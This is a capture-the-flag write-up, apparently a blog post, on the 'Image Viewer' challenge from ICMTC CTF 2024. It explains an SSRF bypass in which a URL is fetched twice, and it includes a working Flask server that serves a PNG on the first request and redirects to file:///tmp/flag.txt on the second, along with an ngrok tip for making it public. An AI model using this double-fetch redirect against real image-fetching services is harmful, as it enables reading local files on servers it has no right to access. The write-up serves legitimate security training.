Exploiting Server-Side Request Forgery (SSRF) Through Image Validation Bypass

Kyrillos Maged
3 min readJul 29, 2024

--

Hello, my name is Kyrillos. Today, I’ll discuss how to bypass protections against Server-Side Request Forgery (SSRF). I’ll cover the “Image Viewer” challenge, which was part of the ICMTC CTF 2024 finals where our team L3mon secured 2nd place.

we have a website that takes a url of a png and display it , there were no source code so we will do our black box test.

our url must point to png file and use http scheme.

I started a simple python server to host a png image and used ngrok to make it public. there is a small trick about ngrok to avoid the annoying warning message when you use http or https protcol you can use tcp instead

ngrok tcp 9999

then replace the tcp scheme in the given public url with http

now we have no clue how the server works and fetchs the image so i used my server to see anything could be intersting. then I noticed that when i send a url of a png image there is 2 requests made to get it

I thought that maybe it is similar to “DNS Rebinding Attack” where there are 2 seprate requests made the first one for security checks and the seconed one to fetch the data, and here the issue exist that in our case an attacker can manipulate the same url to serve different responses based on times been requested. for example first time serve png image seconed time redirect to local url.

so i made this simple flask server which serve a png for the first time and the seconed time it redirects to “file:///tmp/flag.txt”

from flask import Flask, send_from_directory, request, abort,redirect

app = Flask(__name__)

# Dictionary to keep track of requests
request_counter = {}

@app.route('/<path:filename>')
def serve_file(filename):
global request_counter

# Initialize the request counter for this filename if not already present
if filename not in request_counter:
request_counter[filename] = 0

# Increment the counter
request_counter[filename] += 1

# Check if it's the second request for the filename
if request_counter[filename] == 2:
# Return the /tmp/flag.txt file instead of the requested filename
return redirect('file:///tmp/flag.txt')

# Otherwise, serve the requested file
return send_from_directory('.', filename)

if __name__ == '__main__':
app.run(host='127.0.0.1', port=9999, debug=True)

send the new server url to the app, as we see the redirect worked

this is the look of the response

if we checked the src code we will find

decode the data and then get the flag

hope you enjoyed and feel free to connect and contact with me at:

--

--

Kyrillos Maged
Kyrillos Maged

Written by Kyrillos Maged

Bug Bounty Hunter | HTB CBBH - Zephyr/Dante Pro Labs | CTF Player @ L3ak

No responses yet